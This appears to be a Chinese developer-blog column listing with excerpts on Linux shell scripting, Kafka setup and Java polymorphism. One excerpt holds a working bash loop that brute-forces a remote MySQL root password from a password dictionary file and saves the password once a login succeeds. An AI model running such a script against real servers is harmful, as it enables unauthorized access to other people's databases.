腾讯云
开发者社区
文档
建议反馈
控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
搜索
搜索
关闭
发布
登录/注册
首页
学习
活动
专区
工具
TVP
最新优惠活动
返回腾讯云官网
葫芦
专栏作者
举报
307
文章
851572
阅读量
34
订阅数
订阅专栏
申请加入专栏
全部文章(307)
linux(59)
python(49)
java(31)
编程算法(21)
sql(20)
javascript(19)
vue.js(19)
html(15)
http(15)
数据库(12)
css(10)
node.js(8)
云数据库 SQL Server(7)
运维(7)
ssh(7)
bash(6)
nginx(6)
bash 指令(6)
tcp/ip(6)
kafka(6)
网站(5)
yum(5)
ftp(5)
云数据库 Redis(4)
git(4)
api(4)
容器镜像服务(4)
命令行工具(4)
网络安全(4)
django(3)
unix(3)
kubernetes(3)
存储(3)
分布式(3)
shell(3)
grep(3)
https(3)
微服务(3)
url(3)
对象存储(2)
c++(2)
vbscript(2)
json(2)
access(2)
svn(2)
mapreduce(2)
腾讯云测试服务(2)
容器(2)
zookeeper(2)
markdown(2)
udp(2)
iis(2)
socket编程(2)
windows(2)
Elasticsearch Service(2)
aws(2)
client(2)
echarts(2)
import(2)
map(2)
proc(2)
python3(2)
wget(2)
监控(2)
脚本(2)
路由器(2)
日志(2)
源码(2)
主机(2)
DNS 解析 DNSPod(1)
php(1)
.net(1)
jquery(1)
ajax(1)
单片机(1)
web.py(1)
ide(1)
tomcat(1)
apache(1)
文件存储(1)
访问管理(1)
消息队列 CMQ 版(1)
云推荐引擎(1)
企业(1)
serverless(1)
缓存(1)
爬虫(1)
jdk(1)
jvm(1)
wordpress(1)
dns(1)
jdbc(1)
cdn(1)
敏捷开发(1)
zabbix(1)
uml(1)
数据结构(1)
网站建设(1)
app(1)
apply(1)
async(1)
awk(1)
axios(1)
click(1)
config(1)
configure(1)
controller(1)
data(1)
default(1)
display(1)
excel(1)
expect(1)
foreach(1)
form(1)
frame(1)
insert(1)
io(1)
lan(1)
layer(1)
limit(1)
mac(1)
mysql(1)
openssh(1)
pid(1)
post(1)
product(1)
ps(1)
range(1)
root(1)
script(1)
server(1)
service(1)
setinterval(1)
sleep(1)
snapshot(1)
sqlplus(1)
sum(1)
widget(1)
xlrd(1)
zip(1)
备份(1)
编译(1)
测试(1)
动画(1)
多线程(1)
服务端(1)
交换机(1)
客户端(1)
命令行(1)
系统(1)
字符串(1)
搜索文章
搜索
搜索
关闭
teg 部署kafka
kafka
zookeeper
bash
bash 指令
jdk
tar –zxvf jdk-8u152-linux-x64.tar.gz –C /usr/local/
葫芦
2019-11-26
531
0
linux kill -HUP pid
grep
ssh
网站
bash
bash 指令
kill -HUP pid pid 是进程标识。如果想要更改配置而不需停止并重新启动服务,请使用该命令。在对配置文件作必要的更改后,发出该命令以动态更新服务配置。
葫芦
2019-06-19
4.5K
0
linux shell创建临时文件
bash
bash 指令
linux
[root@aoi ~]# cat d #!/bin/bash #creating and using a temp file tempfile=`mktemp wz19.XXXXXX` exec 3>$tempfile echo "This script write to temp file $tempfile" echo "This is the first line" >&3 echo "This is the second line" >&3 echo "This is the last line" >&3 exec 3>&- echo "Done creating temp file. The contents are:" cat $tempfile rm -f $tempfile 2> /dev/null [root@aoi ~]# sh d This script write to temp file wz19.gnxX9K Done creating temp file. The contents are: This is the first line This is the second line This is the last line [root@aoi ~]# ls -al wz19* ls: cannot access wz19*: No such file or directory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mktemp -t wz.XXXXXX会将文件创建在系统临时文件夹下 [root@aoi ~]# mktemp -t wz.XXXXXX /tmp/wz.cs6mCq [root@aoi ~]# cat s #!/bin/bash tempfile=`mktemp -t tmp.XXXXXX` echo "This is a test file." > $tempfile echo "This is the second line of the test." >>$tempfile echo "The temp file is located at: $tempfile" cat $tempfile rm -f $tempfile [root@aoi ~]# sh s The temp file is located at: /tmp/tmp.xpLNt9 This is a test file. This is the second line of the test. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# cat ../a #!/bin/bash tempdir=`mktemp -d dir.XXXXXXX` cd $tempdir tempfile1=`mktemp temp.XXXXXX` tempfile2=`mktemp temp.XXXXXX` exec 7> $tempfile1 exec 8> $tempfile2 echo "Sending data to directory $tempdir" echo "This is a test line of data for $tempfile1" >&7 echo "This is a test line of data for $tempfile2" >&8 [root@aoi dir.BEEbII5]# ll total 8 -rw-------. 1 root root 44 Nov 20 08:24 temp.D3JWPR -rw-------. 1 root root 44 Nov 20 08:24 temp.n0IElP [root@aoi dir.BEEbII5]# cat temp.D3JWPR This is a test line of data for temp.D3JWPR [root@aoi dir.BEEbII5]# cat temp.n0IElP This is a test line of data for temp.n0IElP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ tee filename 它将从STDIN 过来的数据同时发给两个目的地。一个目的地是STDOUT一个是 tee命令指定的文件名 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# date | tee wz Wed Nov
葫芦
2019-05-10
2.7K
0
linux shell配合密码字典破解远程mysql密码
bash
云数据库 SQL Server
bash 指令
数据库
sql
[cc lang="bash"] #!/bin/bash a=1 for t in `cat pass2` do mysql -u root -h “TARGETIP” -p$t 2>ss2 if [ ! -s ss2 ] then echo $t>password2 break fi echo "$a">ss3 a=$[ $a + 1 ] cat /dev/null >ss2 done [/cc] pass2: 是密码字典文件 mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
葫芦
2019-05-09
2.7K
0
linux 计算一个字符串中有多少个大写字母和小写字母
bash
bash 指令
由于最近学java写了一个类似功能,就想着用bash 也写个看看,练下手。代码放出: #!/bin/bash s=asffsdAd32DSsdi@#!\$fihiZFSF87768Z a=0 A=0 b=0 length=`echo ${#s}` for((i=0;i< lengthibr>do e=`echo ${s:$i:1}` if [[ $e = [[:lower:]] ]] then a=$[ $a+1 ] elif [[ $e = [[:upper:]] ]] then A=$[ $A+1 ] else b=$[ $b+1 ] fi done echo "a-z" have nuber: $a echo "A-Z" have number: $A echo "Other" have number: $b 如果字符串中有$字符必须转义,否则影响结果,下面给出运行结果。 [root@wangzi test]# sh charat a-z have nuber: 14 A-Z have number: 8 Other have number: 11
葫芦
2019-05-09
975
0
java 多态 向上转型 后期绑定一例
bash
bash 指令
c++
javascript
switch中的 default 语句不管放在哪个位置,都是在所有case都不满足的情况下最后执行。 foreach语句 for(元素类型 元素变量;遍历对像) 变量元素.draw()即 遍历对象.draw();foreach即for每一个。 for (Shap shp: s) shp.draw(); 个人理解,当 s[0]=gen.next();时 调用RandomShapeGenerator 中的next方法,执行语句case0-2其中一个return语句得到指向Circle Square Triangle 其中的一个引用,并将其以Shape类型发送出去。此例中当return语句指向Circle时 shp.draw() 即将shp元素变量替换为Circle对象,调用Shap类型 Circle对象draw 方法。 package javahaonan.shape; public class Shape { public void draw() {} public void erase() {} } package javahaonan.shape; import static javahaonan.Print.*; public class Circle extends Shape { public void draw() { print ("Circle。draw()");} public void erase() {print ("Cricle.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Square extends Shape { public void draw(){print("Square.draw()");} public void erase(){print("Square.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Triangle extends Shape { public void draw(){print("Trinagle.draw()");} public void erase(){print("Trinagle.erase()");} } package javahaonan.shape; import java.util.*; public class RandomShapeGenerator { private Random rand = new Random(); public Shape next(){ switch(rand.nextInt(3)){ default: case 0:return new Circle(); case 1:return new Square(); case 2:return new Triangle(); } } } package javahaonan.shape; public class Shapes { private static RandomShapeGenerator gen = new RandomShapeGenerator(); public static void main(String[] args) { Shape[] s=new Shape[9]; for (int i=0;i s[i]=gen.next(); for(Shape shp: s) shp.draw(); } }/output* Square.draw() Trinagle.draw() Square.draw() Circle。draw() Square.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() */
葫芦
2019-05-09
524
0
没有更多了
社区活动
腾讯技术创作狂欢月
“码”上创作 21 天,分 10000 元奖品池!
立即发文
Python精品学习库
代码在线跑,知识轻松学
立即查看
博客搬家 | 分享价值百万资源包
自行/邀约他人一键搬运博客,速成社区影响力并领取好礼
立即体验
技术创作特训营·精选知识专栏
往期视频·千货材料·成员作品 最新动态
立即查看
领券
问题归档
专栏文章
快讯文章归档
关键词归档
开发者手册归档
开发者手册 Section 归档